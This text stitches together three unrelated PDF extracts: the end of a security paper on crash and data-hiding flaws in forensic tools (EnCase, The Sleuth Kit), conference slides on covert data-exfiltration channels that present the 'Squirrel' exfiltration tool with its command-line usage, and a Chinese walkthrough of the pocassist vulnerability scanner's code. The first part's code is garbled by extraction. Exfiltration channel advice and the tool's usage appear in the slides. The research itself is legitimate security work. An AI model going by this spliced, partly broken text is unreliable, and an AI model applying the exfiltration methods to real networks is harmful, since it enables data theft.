0) && ( o f f s e t < ( s d s b u f f e r −>s i z e
c u r r e n t o f f s e t ) )
2818
&& ( getu64 ( fs −>endian ,
sds−>f i l e
o f f ) <
s d s b u f f e r −>s i z e ) )
{
2819
2820
NTFS SDS ENTRY ∗ s d s e n t r y ;
2821
2822
i f
( ( s d s e n t r y =
2823
(NTFS SDS ENTRY ∗)
mymalloc ( s i z e o f (NTFS SDS ENTRY) ) ) ==
2824
NULL)
{
2825
return
1 ;
http://www.isecpartners.com
8/12
2826
}
2827
i f
( ( sds entry −>data = ( u i n t 8 t
∗)
mymalloc ( o f f s e t ) ) == NULL)
{
2828
f r e e ( s d s e n t r y ) ;
2829
return
1 ;
2830
}
2831
memcpy( sds entry −>data ,
sds ,
o f f s e t ) ;
5.7.1
Reproduction
$
patch . py
NtfsPart . dsk Bad . dsk
10666450
\x01
$
f s s t a t
Bad . dsk
6
Defects Found in Guidance EnCase
EnCase from Guidance Software is a very different beast from TSK. It is Windows-only (with a Linux
remote device acquisition component), features a complex GUI, and incorporates features for browsing,
searching and displaying devices, filesystems, and data files. For programmability, it incorporates its own
programming language, Enscript, that resembles C++ and Java.
As with TSK, EnCase showed numerous defects with relatively simple fuzzing techniques, although we
also created targeted, domain-specific faults in test data, such as carefully crafted partition tables and NTFS
directory structures.4
We tested EnCase versions 6.2 and 6.5.
6.1
Note
Due to the deadline for submitting presentation materials to Black Hat and the ongoing nature of our
conversation with Guidance Software, we are unable to present in this revision of the paper all the details
of the defects in EnCase that we found. By the time you read this, this version of the paper may be out of
date and the canonical version may have the defect details. Please see https://www.isecpartners.com/
blackhat/ to find the most recent version of this paper. We apologize for the inconvenience.
6.2
Disk Image With Corrupted MBR Partition Table Cannot Be Acquired
EnCase cannot properly acquire disks with certain corrupted MBR partition tables. When running linen
on a system with a disk with a carefully crafted partition table (including many partition table entries), linen
won’t start up properly. If linen is started prior to corrupting the image, it will start up, but EnCase will
hang indefinitely while acquiring the image. (It is possible to cancel out of the linen import.)
If a disk image is made and transferred to the EnCase workstation and acquired as a raw disk image,
EnCase will hang indefinitely while attempting to acquire the image. There is no way to cancel out of this
process — the GUI becomes unresponsive. We have not identified the root cause of this issue, but it appears
4We noticed instances where EnCase’s remote acquisition tool for Linux, linen, could not process a corrupted disk image
if linen was started up after the filesystem was corrupted. Since our primary goal was to test EnCase, not linen, we worked
around these issues by running linen prior to corrupting a disk image without further analyzing the issues in linen.
http://www.isecpartners.com
9/12
to be due to the overly large values in the 29th partition table entry. We were unable to reproduce this issue
in similar situations with a small number of partitions.
6.3
Corrupted NTFS Filesystem Crashes EnCase During Acquisition
EnCase crashes while acquiring certain corrupted NTFS partitions. The crash occurs when EnCase
processes FILE records that contain a larger-than-expected offset to update sequence value, causing it to
read past the end of a buffer, resulting in a read access violation. Here is an example FILE record that
causes the crash.
6.4
Corrupted Microsoft Exchange Database Crashes EnCase During Search
and Analysis
EnCase crashes while searching/analyzing a filesystem containing a corrupted Microsoft Exchange database,
as seen in Figure ??. The crash occurs during the searching phase of an acquisition in which all Search,
Hash and Signature Analysis options were enabled. The crash appears to be a read access violation with a
bad value in eax that is dereferenced, but the exact value in eax appears to change every time (or at least
very often). We have not determined the cause of or full implications of this problem.
6.5
Corrupted NTFS Filesystem Causes Memory Allocation Error
EnCase reports memory allocation errors when acquiring corrupted NTFS images. The size of memory
being allocated is under the control of the attacker. iSEC has not found any ill effects caused by this error
condition other than an error being displayed and corrupted records not being displayed.
6.6
EnCase and Linux Interpret NTFS Filesystems Differently
EnCase and Linux appear to use different NTFS metadata when parsing directory structures. We created
an NTFS image with a directory loop in it by modifying an NTFS filesystem and replacing a directory entry
for a file with a reference to the directory’s parent directory. When mounting this directory in Linux5, the
modification was as expected and a directory loop was present. When importing this image into EnCase,
the loop was not present and the original file was still present in the directory — but EnCase did not make
other files in the directory visible.
This difference in behavior can be used by an attacker to hide data on a disk. An NTFS image can be
constructed that has one interpretation on Linux and another in EnCase.
We manually edited an NTFS image to create a directory loop. This directory loop was visible in Linux
(when using the NTFS-3g driver) but to our surprise, EnCase did not see the edits we made. Instead it
displayed the unedited file. This indicates that EnCase and Linux give different interpretation to NTFS
images, probably by using different parts of the redundant information stored in the filesystem. An attacker
could abuse this inconsistency to hide data that could only be viewed in Linux and not in EnCase.
5iSEC used the NTFS-3g Linux driver: http://www.ntfs-3g.org/.
http://www.isecpartners.com
10/12
6.7
EnCase Crashes When Viewing Certain Deeply Nested Directories
We created NTFS images with very deeply nested directories and observed that EnCase would crash
in different ways after the image was acquired when performing the Expand All action, or when manually
expanding the subdirectory views in the file browsing GUI. Some of these crashes were caused when the
program used a return address on the stack that had been overwritten. The values being written to the
stack were small integers. While were able to manipulate the value of these integers to some degree, we were
unable to exploit this flaw for arbitrary code execution.
7
Conclusion
We performed focused, shallow, and narrow testing of EnCase and The Sleuth Kit, yet immediately found
security flaws with simple attack tenchniques. We believe these vulnerabilities exist for several reasons:
1. Forensic software vendors are not paranoid enough. Vendors must operate under the assumption that
their software is under concerted attack. After all, the software is often used to examine evidenced
seized from suspected computer criminals and from computers suspected to have been compromised
by an attacker — that is, the evidence has been under the control of someone capable and motivated
to frustrate an investgation against them, or to attack again.
2. Vendors do not take advantage of the protections for native code that platforms provide, such as
stack overflow protection, memory page protection (e.g. ensuring that the write bit is unset whenever
the execute bit is set on a page), safe exception handling (specific to Microsoft C), et c. EnCase in
particular is not designed to be run by a low-privilege user, ensuring that any successful code-execution
attack runs with maximum privilege on the forensic workstation.
The use of managed code eliminates many types of attack altogether.
3. Forensic software customers use insufficient acceptance criteria when evaluating software packages.
Criteria typically address only functional correctness during evidence acquisition (not analysis) when
no attacker is present,6 yet forensic investigations are adversarial. Therefore, customers should pressure
vendors to observe the practices in (2) and to perform negative testing against the product (discussed
further below).
4. The software and methods for testing the quality of forensic software should be public. Carrier notes7
that sufficient public testing tools, results, and methodologies either don’t exist or are not public.
Making these public will help customers know what they are getting and where they may be vulnerable,
and may even raise the standard of testing and improve the quality of the software.
6see http://www.cftt.nist.gov/ and [1], specifically lines 43 – 46 (“The two critical measurable attributes of the digital
source acquisition process are accuracy and completeness. Accuracy is a qualitative measure to determine if each bit of the
acquisition is equal to the corresponding bit of the source. Completeness is a quantitative measure to determine if each accessible
bit of the source is acquired.”) and 86 – 172. Although the NIST document focuses strictly on the acquisition of evidence, it
is not enough to standardize only acquisition. Most forensic toolkits also include functionality for evidence analysis, and it is
at the analysis stage where security, not just accuracy and completeness, is crucial.
7http://dftt.sourceforge.net/: “To fill the gap between extensive tests from NIST and no public tests, I have been developing
small test cases.”
http://www.isecpartners.com
11/12
7.1
Future Work
We have only scratched the broad attack surface of the products we investigated.
We fuzzed and
manipulated only some of the most common data types and only in simple ways — other data formats and
more sophisticated attacks are likely to bring more defects to the surface.
7.2
Acknowledgements
We thank the vendors, Guidance Software and Brian Carrier, for their fast and helpful responses to our
issue reports. Thanks also go to Jesse Burns for his help in debugging software on Windows, and for original
authorship of the mutation functions we used in fuzzing.
References
[1] http://www.cftt.nist.gov/DA-ATP-pc-01.pdf. 11
[2] http://dftt.sourceforge.net/.
[3] http://www.seccuris.com/documents/papers/Seccuris-Antiforensics.pdf.
[4] http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-foster-liu-update.pdf.
[5] http://metasploit.com/projects/antiforensics/.
[6] http://www.simson.net/clips/academic/2007.ICIW.AntiForensics.pdf.
[7] B. Carrier. File system forensic analysis. Addison Wesley, 2005.
http://www.isecpartners.com
12/12 | pdf |
Esoteric Exfiltration
Willa Riggins
Who Am I?
Seriously, people. Does
someone know? Cause I
don’t.
● Senior Penetration
Tester @ Veracode
● FamiLAB Member
● DC407 Point of
Contact
● OWASP Orlando
Marketing
Coordinator
● BSides Orlando
Social Media Lady
● @willasaywhat on
Twitter
Exfiltration 101
What Is It?
“Data exfiltration is the
unauthorized transfer of sensitive
information from a target’s network
to a location which a threat actor
controls.”, Trend Micro
Why Should You Care?
● Data loss costs time,
money, and your sanity.
● Ever found a credential
dump on pastebin?
● Come on, are we still
reading the slides?
● If you didn’t care you
wouldn’t be here.
82%
Of those surveyed in 2012 from /r/netsec said
that preventing exfiltration was important to
the security of their information systems
Covert Channels & Where to Find Them
● Mask traffic with normal usage patterns
○
Social media
○
Web traffic
○
Protocols used for day to day business
● Hide data in known “safe” payloads
○
Status updates
○
HTTP POST Payloads
● Stay quiet, within normal payload sizes
○
Throttle exfil chunks
○
Set payload sizes based on the channel used
○
Encode and/or encrypt chunks
Esoteric Exfiltration
Transport: Change the Channel
● Network Protocols
● 3rd Party Drops
● To the Airwaves
Network Protocols: Data on the Wire
● The Obvious
○
HTTP
○
SSH
○
Netcat
○
DNS?
● The Discreet
○
Using normal protocols in
abnormal ways
3rd Party Drops: Hide Yo Data
● The Obvious
○
Dropbox
○
OneDrive
○
Google Drive
○
Pastebin
● The Discreet
○
Flickr
○
Imgur
○
Twitter
○
Facebook
To the Airwaves: Breaking Layer One
● The Obvious
○
Wifi Adapter on a Raspberry Pi
● The Discreet
○
Xbee 900mhz Long Range Mesh Network
○
Over Ham Radio (APRS) w/ Repeaters
○
Lasers, just, lasers
Blue Team Says What?
Defenses & Detection
● Block endpoints by URI/IP
● Block egress at the firewall by port/proto
● Detect anomalies in payload size and
frequency
● Block USB devices by class or device-id
(USB serial)
Offensive Maneuvers
● Blacklists don’t work
● Disrupts normal business
● Context is critical, but difficult to
automate
● USB Device IDs? Good luck with that.
Weaponizing Squirrels
Squirrel: Exfiltration for Nuts
● Python 2.7 based
application
● Open Source; MIT
License
● Extensible via
simple module based
plugins
● Upload and execute
with CLI arguments
willasaywhat:~/workspace (master) $ python -m squirrel
usage: python -m squirrel [-h] [-c CHANNEL] [-r RECV] [-f
FILENAME]
[-s SETTINGS] [-v]
Squirrel: Exfiltration for Nuts
optional arguments:
-h, --help show this help message and exit
-c CHANNEL, --channel CHANNEL
selects the channel to use
-r RECV, --recv RECV tells squirrel to retrieve nuts
-f FILENAME, --filename FILENAME
selects the file to exfiltrate
-s SETTINGS, --settings SETTINGS
sets the settings dictionary for the
channel. ex: -s
'{"client_id": "value", "client_secret":
"value"}'
-v, --verbosity increase output velocity
None
Module Overview
Squirrels steal nuts, get
it?
from abc import ABCMeta, abstractmethod,
abstractproperty
class Channel(object):
__metaclass__ = ABCMeta
_name = "Sample Channel Name"
_description = "Sample Channel Description"
_settings = {}
_chunkSize = 0 # Size in bytes of the max chunk per send/recv
def name(self):
return self._name
def description(self):
return self._description
def chunk_size(self):
return self._chunkSize
def __init__(self):
pass
@abstractmethod
def send(self, chunks):
pass
@abstractmethod
def recv(self):
pass
def get_settings(self): return self._settings
def set_settings(self, value): self._settings = value
_settings = abstractproperty(get_settings, set_settings)
https://github.com/willasaywhat/squirrel
Closing Remarks
Future Work
● Additional Squirrel Modules:
○
Facebook Attachments, Flickr, FTP, SFTP, Telnet,
Netcat, etc.
● Executable payload generation with
PyInstaller
○
Msfvenom style payloads
● Metasploit Post Module
● Longer range hardware, more nodes, less
physical space using Teensy.
● Integrate Cloakify DLP avoidance ciphers
● Customizable timing of send/recv
Shoutouts
Thank you, okay? Cool. <3 | pdf |
pocassist浅析
author: https://github.com/Ciyfly
pocassist浅析
项目代码目录
流程图
cmd/pocassist.go 整个程序启动入口
init
RunApp
RunServer
InitAll 加载配置文件
下面是所有的配置展开
conf.Setup() 加载全局配置文件
logging.Setup() 加载日志配置文件
db.Setup() 加载db配置文件
routers.Setup() 配置web
util.Setup() 限流初始化 fasthttpclient jwt secret 初始化
rule.Setup() 规则配置相关初始化
ExecScriptHandle 是poc/script下的poc Handler函数
ExecExpressionHandle 是db中的yaml的类似xray格式的poc Handler函数
InitTaskChannel 任务管道
HotConf 配置热加载
routers.InitRouter 初始化web的路由并启动
db文件
创建一个扫描任务
GenOriginalReq 生成一个原始请求
rule.TaskProducer 将taskitem写到TaskChannel管道里
rule.TaskConsumer() 消费TaskChannel管道里的数据调用poc测试
RunPlugins 协程限制并发运行插件
rule.RunPoc 运行poc
celController.Init cel控制器初始化
celController.InitSet cel控制器初始化
controller.Next()
ExecExpressionHandle
controller.Groups 含有 Groups的poc执行
controller.Rules 含有 Rules的poc执行
controller.SingleRule 单条rule怎么执行
controller.DoSingleRuleRequest fasthttp发请求
raw接口
List
对于cel-go的使用理解
参考
项目代码目录
.
├── api # web api的接口路由
│ ├── middleware
│ │ └── jwt
│ │ └── jwt.go
│ ├── msg
│ │ └── msg.go
│ └── routers
│ ├── route.go
│ ├── ui.go
│ └── v1
│ ├── auth
│ │ └── auth.go
│ ├── plugin
│ │ └── plugin.go
│ ├── scan
│ │ ├── result
│ │ │ └── result.go
│ │ ├── scan
│ │ │ └── scan.go
│ │ └── task
│ │ └── task.go
│ ├── vulnerability
│ │ └── vulnerability.go
│ └── webapp
│ └── webapp.go
├── cmd # 入口程序
│ └── pocassist.go
├── config.yaml # 全局配置
├── go.mod
├── go.sum
├── LICENSE
├── logs
│ └── pocassist.log
├── main.go
├── pkg # 核心代码 cel 解析 反连
│ ├── cel
│ │ ├── cel.go
│ │ ├── proto
│ │ │ ├── http.pb.go
│ │ │ └── http.proto
│ │ └── reverse
│ │ └── reverse.go
│ ├── conf
│ │ ├── config.go
│ │ └── default.go
│ ├── db
│ │ ├── auth.go
│ │ ├── conn.go
│ │ ├── plugin.go
│ │ ├── scanResult.go
│ │ ├── scanTask.go
│ │ ├── vulnerability.go
│ │ └── webapp.go
│ ├── file
│ │ └── file.go
│ ├── logging
│ │ └── log.go
│ └── util
│ ├── jwt.go
│ ├── rand.go
│ ├── request.go
│ ├── request_test.go
│ ├── result.go
│ ├── tcp.go
│ ├── util.go
│ └── version.go
├── poc
│ ├── rule # 处理poc的等
│ │ ├── cel.go
│ │ ├── content.go
│ │ ├── controller.go # 核心控制
│ │ ├── handle.go
│ │ ├── parallel.go
│ │ ├── request.go
│ │ ├── rule.go
│ │ └── run.go
│ └── scripts
│ ├── poc-go-dedecms-bakfile-disclosure.go
│ ├── poc-go-ecshop-anyone-login.go
│ ├── poc-go-elasticsearch-path-traversal.go
│ ├── poc-go-exim-cve-2017-16943-uaf.go
│ ├── poc-go-exim-cve-2019-15846-rce.go
│ ├── poc-go-fastcgi-file-read.go
│ ├── poc-go-ftp-unauth.go
│ ├── poc-go-iis-ms15034.go
│ ├── poc-go-jboss-console-weakpwd.go
│ ├── poc-go-jboss-invoker-servlet-rce.go
│ ├── poc-go-jboss-serialization.go
│ ├── poc-go-joomla-serialization.go
│ ├── poc-go-memcached-unauth.go
│ ├── poc-go-mongo-unauth.go
│ ├── poc-go-openssl-heartbleed.go
│ ├── poc-go-redis-unauth.go
│ ├── poc-go-rsync-anonymous.go
│ ├── poc-go-shiro-unserialize-550.go
│ ├── poc-go-smb-cve-2020-0796.go
│ ├── poc-go-tomcat-weak-pass.go
│ ├── poc-go-zookeeper-unauth.go
│ └── scripts.go
├── pocassist.db # poc db库
├── README.md
└── web # 前端资源
├── bindata.go
└── build
├── asset-manifest.json
├── favicon.ico
├── index.html
├── manifest.json
├── precache-manifest.883d9a3cd99a61f6112882ff7a343fde.js
├── robots.txt
├── service-worker.js
└── static
├── css
│ ├── 2.b2faedfb.chunk.css
│ └── main.35003770.chunk.css
├── js
│ ├── 2.b26af43a.chunk.js
│ ├── 2.b26af43a.chunk.js.LICENSE.txt
│ ├── main.c58b4be8.chunk.js
│ └── runtime-main.89859971.js
└── media
└── bg.4bb50474.png
流程图
cmd/pocassist.go 整个程序启动入口
1. init 输出 banner等程序信息
2. RunApp 解析命令行指定的端口启动web程序
func init() {
fmt.Printf("%s\n", conf.Banner)
fmt.Printf("\t\tv" + conf.Version + "\n\n")
fmt.Printf("\t\t" + conf.Website + "\n\n")
}
func InitAll() {
// config 必须最先加载
conf.Setup()
logging.Setup()
db.Setup()
routers.Setup()
util.Setup()
rule.Setup()
}
// 使用viper 对配置热加载
func HotConf() {
dir, err := filepath.Abs(filepath.Dir(os.Args[0]))
if err != nil {
log.Fatalf("cmd.HotConf, fail to get current path: %v", err)
}
// 配置文件路径 当前文件夹 + config.yaml
configFile := path.Join(dir, conf.ConfigFileName)
viper.SetConfigType("yaml")
viper.SetConfigFile(configFile)
// watch 监控配置文件变化
viper.WatchConfig()
viper.OnConfigChange(func(e fsnotify.Event) {
// 配置文件发生变更之后会调用的回调函数
log.Println("config file changed:", e.Name)
InitAll()
})
}
func RunApp() {
app := cli.NewApp()
app.Name = conf.ServiceName
app.Usage = conf.Website
app.Version = conf.Version
app.Flags = []cli.Flag{
&cli.StringFlag{
// 后端端口
Name: "port",
Aliases: []string{"p"},
Value: conf.DefaultPort,
Usage: "web server `PORT`",
},
}
app.Action = RunServer
err := app.Run(os.Args)
if err != nil {
log.Fatalf("cli.RunApp err: %v", err)
return
}
}
func RunServer(c *cli.Context) error {
InitAll()
HotConf()
port := c.String("port")
routers.InitRouter(port)
return nil
}
init
go默认的 init 导入的是 conf 的一些值
conf "github.com/jweny/pocassist/pkg/conf"
一些banner version的信息 在 pkg\conf\default.go
func init() {
fmt.Printf("%s\n", conf.Banner)
fmt.Printf("\t\tv" + conf.Version + "\n\n")
fmt.Printf("\t\t" + conf.Website + "\n\n")
}
RunApp
使用cli 解析命令行参数获取端口参数 调用 RunServer 启动web服务器
func RunApp() {
app := cli.NewApp()
app.Name = conf.ServiceName
app.Usage = conf.Website
app.Version = conf.Version
app.Flags = []cli.Flag{
&cli.StringFlag{
// 后端端口
Name: "port",
Aliases: []string{"p"},
Value: conf.DefaultPort,
Usage: "web server `PORT`",
},
}
app.Action = RunServer
err := app.Run(os.Args)
if err != nil {
log.Fatalf("cli.RunApp err: %v", err)
return
}
}
RunServer
1. 初始化所有相关配置 InitAll
2. 对配置文件进行监听实现热加载 HotConf
3. 传递端口启动web服务 routers.InitRouter(port)
func RunServer(c *cli.Context) error {
InitAll()
HotConf()
port := c.String("port")
routers.InitRouter(port)
return nil
}
InitAll 加载配置文件
func InitAll() {
// config 必须最先加载
conf.Setup()
logging.Setup()
db.Setup()
routers.Setup()
util.Setup()
rule.Setup()
}
下面是所有的配置展开
conf.Setup() 加载全局配置文件
加载 config.yaml 配置文件
1. 拼接配置文件路径 不存在则初始化配置文件 viper.ReadConfig(bytes.NewBuffer(defaultYamlByte))
2. 读取配置文件 viper.ReadInConfig()
全局配置文件的结构体
type Config struct {
HttpConfig HttpConfig `mapstructure:"httpConfig"`
DbConfig DbConfig `mapstructure:"dbConfig"`
PluginsConfig PluginsConfig `mapstructure:"pluginsConfig"`
Reverse Reverse `mapstructure:"reverse"`
ServerConfig ServerConfig
`mapstructure:"serverConfig"`
LogConfig
LogConfig
`mapstructure:"logConfig"`
}
func Setup() {
dir, err := filepath.Abs(filepath.Dir(os.Args[0]))
if err != nil {
log.Fatalf("conf.Setup, fail to get current path: %v", err)
}
//配置文件路径 当前文件夹 + config.yaml
configFile := path.Join(dir, "config.yaml")
// 检测配置文件是否存在
if !file.Exists(configFile) {
WriteYamlConfig(configFile)
}
ReadYamlConfig(configFile)
}
logging.Setup() 加载日志配置文件
通过上面加载的全局配置文件
获取全局配置的日志级别 日志文件最大多少 备份多少 存多久等 使用的是 go.uber.org/zap
func Setup(){
loggerCfg := conf.GlobalConfig.LogConfig
NewLogger(conf.GlobalConfig.Level(), loggerCfg.MaxSize, loggerCfg.MaxBackups, loggerCfg.MaxAge,
loggerCfg.Compress, conf.GlobalConfig)
}
db.Setup() 加载db配置文件
支持mysql和sqlite 赋值到 dbConfig里
并 通过 orm框架 gorm 创建 GlobalDB 并同步设置logger
func Setup() {
var err error
dbConfig := conf.GlobalConfig.DbConfig
if conf.GlobalConfig.DbConfig.Sqlite == "" {
// 配置mysql数据源
if dbConfig.Mysql.User == "" ||
dbConfig.Mysql.Password == "" ||
dbConfig.Mysql.Host == "" ||
dbConfig.Mysql.Port == "" ||
dbConfig.Mysql.Database == "" {
log.Fatalf("db.Setup err: config.yaml mysql config not set")
}
dsn := fmt.Sprintf("%s:%s@tcp(%s:%s)/%s?charset=utf8mb4&parseTime=True&loc=Local&timeout=%s",
dbConfig.Mysql.User,
dbConfig.Mysql.Password,
dbConfig.Mysql.Host,
dbConfig.Mysql.Port,
dbConfig.Mysql.Database,
dbConfig.Mysql.Timeout)
GlobalDB, err = gorm.Open(mysql.Open(dsn), &gorm.Config{})
if err != nil {
log.Fatalf("db.Setup err: %v", err)
}
} else {
// 配置sqlite数据源
if dbConfig.Sqlite == "" {
log.Fatalf("db.Setup err: config.yaml sqlite config not set")
}
if dbConfig.EnableDefault {
dir, err := filepath.Abs(filepath.Dir(os.Args[0]))
if err != nil {
log.Fatalf("db.Setup, fail to get current path: %v", err)
}
//配置文件路径 当前文件夹 + config.yaml
defaultSqliteFile := path.Join(dir, "pocassist.db")
// 检测 sqlite 文件是否存在
if !file.Exists(defaultSqliteFile) {
log.Fatalf("db.Setup err: pocassist.db not exist, download at https://github.com/jweny/poc
}
}
GlobalDB, err = gorm.Open(sqlite.Open(dbConfig.Sqlite), &gorm.Config{
DisableForeignKeyConstraintWhenMigrating: true,
})
if err != nil {
log.Fatalf("db.Setup err: %v", err)
}
}
if GlobalDB == nil {
log.Fatalf("db.Setup err: db connect failed")
}
err = GlobalDB.AutoMigrate(&Auth{}, &Vulnerability{}, &Webapp{}, &Plugin{}, &Task{}, &Result{})
if err != nil {
log.Fatalf("db.Setup err: %v", err)
}
if conf.GlobalConfig.ServerConfig.RunMode == "release" {
// release下
GlobalDB.Logger = logger.Default.LogMode(logger.Silent)
}
}
routers.Setup() 配置web
设置 gin的 mode级别 为 release
func Setup() {
// gin 的【运行模式】运行时就已经确定 无法做到热加载
gin.SetMode(conf.GlobalConfig.ServerConfig.RunMode)
}
gin 可设置的mode
const (
// DebugMode indicates gin mode is debug.
DebugMode = "debug"
// ReleaseMode indicates gin mode is release.
ReleaseMode = "release"
// TestMode indicates gin mode is test.
TestMode = "test"
)
util.Setup() 限流初始化 fasthttpclient jwt secret 初始化
func InitRate() {
msQps := conf.GlobalConfig.HttpConfig.MaxQps / 10
limit := rate.Every(100 * time.Millisecond)
limiter = rate.NewLimiter(limit, msQps)
}
使用的是 golang.org/x/time/rate 基于令牌桶算法
随着时间以 1/r 个令牌的速度向容积为b个令牌的桶中添加令牌 有请求就取走令牌 若令牌不足则不执行请求或
者等待
通过该fasthttp创建client 是一个比 net/http 快10倍的 客户端请求库
去掉ua头
DisablePathNormalizing 是删除额外的斜杠,对特殊字符进行编码
并且配置代理
client := &fasthttp.Client{
// If InsecureSkipVerify is true, TLS accepts any certificate
TLSConfig: &tls.Config{InsecureSkipVerify: true},
NoDefaultUserAgentHeader: true,
DisablePathNormalizing: true,
}
jwt secret
jwtSecret = []byte(conf2.GlobalConfig.ServerConfig.JwtSecret)
配置在 config.yaml
serverconfig:
jwt_secret: pocassist
func Setup() {
// 请求限速 limiter 初始化
InitRate()
// fasthttp client 初始化
DownProxy := conf2.GlobalConfig.HttpConfig.Proxy
client := &fasthttp.Client{
// If InsecureSkipVerify is true, TLS accepts any certificate
TLSConfig: &tls.Config{InsecureSkipVerify: true},
NoDefaultUserAgentHeader: true,
DisablePathNormalizing: true,
}
if DownProxy != "" {
log.Info("[fasthttp client use proxy ]", DownProxy)
client.Dial = fasthttpproxy.FasthttpHTTPDialer(DownProxy)
}
fasthttpClient = client
// jwt secret 初始化
jwtSecret = []byte(conf2.GlobalConfig.ServerConfig.JwtSecret)
}
rule.Setup() 规则配置相关初始化
poc\rule\handle.go
1. 初始化一个 字典 key是字符串 value是 HandlerFunc列表
2. 给 Handles 添加 "script" 的value是 函数 ExecScriptHandle ExecScriptHandle 函数见下面详细展开
3. 给 Handles 添加 "appendparam" 的value是 函数 ExecExpressionHandle ExecExpressionHandle 函数见下
面详细展开
4. 给 Handles 添加 "replaceparam" 的value是 函数 ExecExpressionHandle
5. 调用函数 InitTaskChannel 函数见下面详细展开
func Setup() {
Handles = make(map[string][]HandlerFunc)
Handles[AffectScript] = []HandlerFunc{ExecScriptHandle}
Handles[AffectAppendParameter] = []HandlerFunc{ExecExpressionHandle}
Handles[AffectReplaceParameter] = []HandlerFunc{ExecExpressionHandle}
InitTaskChannel()
}
HandlerFunc 定义了一个统一的handler函数规范 参数是 controllerContext
poc/rule/handle.go#9
type HandlerFunc func(ctx controllerContext)
poc/rule/handle.go#52
controllerContext 定义了一个接口 后面应该有多个实现控制器吧
然后 会有多个 HandlerFunc 函数解析多种 controllerContext接口实现的结构体
type controllerContext interface {
Next()
Abort()
IsAborted() bool
GetString(key string) string
Set(key string, value interface{})
Get(key string) (value interface{}, exists bool)
GetPoc() *Poc
Groups(bool) (result bool, err error)
Rules([]Rule, bool) (result bool, err error)
GetPocName() string
GetOriginalReq() *http.Request
SetResult(result *util.ScanResult)
IsDebug() bool
// RegisterHandle(f HandlersChain)
}
ExecScriptHandle 是poc/script下的poc Handler函数
1. 通过控制器上下文 其实就是一个poc结构体 获取名称
2. 使用poc名称 通过 scripts.GetScriptFunc 获取扫描函数
GetScriptFunc的函数是从 scriptHandlers 字典中 通过 pocNmae 获取 scanFunc 即是验证方法
3. 输出信息日志
4. 处理端口 和是否是https 创建 scripts.ScriptScanArgs 脚本扫描函数使用的参数结构体 传入 scanFunc
5. 执行后将结果传递给 SetResult 保存结果 并执行 调用 Abort 终止
func ExecScriptHandle(ctx controllerContext) {
pocName := ctx.GetPocName()
scanFunc := scripts.GetScriptFunc(pocName)
if scanFunc == nil {
log.Error("[rule/handle.go:ExecScriptHandle error] ", "scan func is nil")
ctx.Abort()
return
}
log.Info("[rule/handle.go:ExecScriptHandle script start]" + pocName)
var isHTTPS bool
// 处理端口
defaultPort := 80
originalReq := ctx.GetOriginalReq()
if originalReq == nil {
log.Error("[rule/handle.go:ExecScriptHandle error] ", "original request is nil")
ctx.Abort()
return
}
if originalReq.URL.Scheme == "https" {
isHTTPS = true
defaultPort = 443
}
if originalReq.URL.Port() != "" {
port, err := strconv.ParseUint(originalReq.URL.Port(), 10, 16)
if err != nil {
ctx.Abort()
return
}
defaultPort = int(port)
}
args := &scripts.ScriptScanArgs{
Host: originalReq.URL.Hostname(),
Port: uint16(defaultPort),
IsHTTPS: isHTTPS,
}
result, err := scanFunc(args)
if err != nil {
log.Error("[rule/handle.go:ExecScriptHandle error] ", err)
ctx.Abort()
return
}
ctx.SetResult(result)
ctx.Abort()
}
ExecExpressionHandle 是db中的yaml的类似xray格式的poc Handler函数
1. 获取Poc
2. poc的 Groups 如果不是空 ctx.Groups(ctx.IsDebug())
3. 如果是空 ctx.Rules(poc.Rules,ctx.IsDebug())
4. 返回的result结果不是空 调用 Abort 终止否则返回
func ExecExpressionHandle(ctx controllerContext){
var result bool
var err error
poc := ctx.GetPoc()
if poc == nil {
log.Error("[rule/handle.go:ExecExpressionHandle error] ", "poc is nil")
return
}
if poc.Groups != nil {
result, err = ctx.Groups(ctx.IsDebug())
} else {
result, err = ctx.Rules(poc.Rules,ctx.IsDebug())
}
if err != nil {
log.Error("[rule/handle.go:ExecExpressionHandle error] ", err)
return
}
if result {
ctx.Abort()
}
return
}
InitTaskChannel 任务管道
初始化任务管道
限制管道大小10个
管道里的数据是 TaskItem
// 限制并发
type TaskItem struct {
OriginalReq *http.Request // 原始请求
Plugins []Plugin // 检测插件
Task *db.Task // 所属任务
}
var TaskChannel chan *TaskItem
func InitTaskChannel(){
// channel 限制 target 并发
concurrent := 10
if conf.GlobalConfig.PluginsConfig.Concurrent != 0 {
concurrent = conf.GlobalConfig.PluginsConfig.Concurrent
}
TaskChannel = make(chan *TaskItem, concurrent)
}
HotConf 配置热加载
配置配置文件路径 当 配置文件发生任何事件 都重新调用 InitAll 重新初始化配置
// 使用viper 对配置热加载
func HotConf() {
dir, err := filepath.Abs(filepath.Dir(os.Args[0]))
if err != nil {
log.Fatalf("cmd.HotConf, fail to get current path: %v", err)
}
// 配置文件路径 当前文件夹 + config.yaml
configFile := path.Join(dir, conf.ConfigFileName)
viper.SetConfigType("yaml")
viper.SetConfigFile(configFile)
// watch 监控配置文件变化
viper.WatchConfig()
viper.OnConfigChange(func(e fsnotify.Event) {
// 配置文件发生变更之后会调用的回调函数
log.Println("config file changed:", e.Name)
InitAll()
})
}
routers.InitRouter 初始化web的路由并启动
通过 gin 来启动web服务
1. 如果是 debug 模式 开启 swagger
2. 设置静态资源路径 ui
3. 定义api 增删改查接口
func InitRouter(port string) {
router := gin.Default()
// debug 模式下 开启 swagger
if conf.GlobalConfig.ServerConfig.RunMode == "debug" {
router.GET("/swagger/*any", gs.WrapHandler(swaggerFiles.Handler))
}
// ui
router.StaticFS("/ui", BinaryFileSystem("web/build"))
router.GET("/", func(c *gin.Context) {
c.Redirect(http.StatusPermanentRedirect, "/ui")
})
// api
v1 := router.Group("/api/v1")
{
v1.POST("/user/login", auth.Login)
userRoutes := v1.Group("/user")
userRoutes.Use(jwt.JWT())
{
userRoutes.POST("/self/resetpwd/", auth.Reset)
userRoutes.GET("/info", auth.Self)
userRoutes.GET("/logout", auth.Logout)
}
pluginRoutes := v1.Group("/poc")
pluginRoutes.Use(jwt.JWT())
{
// all
pluginRoutes.GET("/", plugin.Get)
// 增
pluginRoutes.POST("/", plugin.Add)
// 改
pluginRoutes.PUT("/:id/", plugin.Update)
// 详情
pluginRoutes.GET("/:id/", plugin.Detail)
// 删
pluginRoutes.DELETE("/:id/", plugin.Delete)
// 测试单个poc
pluginRoutes.POST("/run/", plugin.Run)
// 上传yaml文件
pluginRoutes.POST("/upload/", plugin.UploadYaml)
// 下载yaml文件
pluginRoutes.POST("/download/", plugin.DownloadYaml)
}
vulRoutes := v1.Group("/vul")
vulRoutes.Use(jwt.JWT())
{
// basic
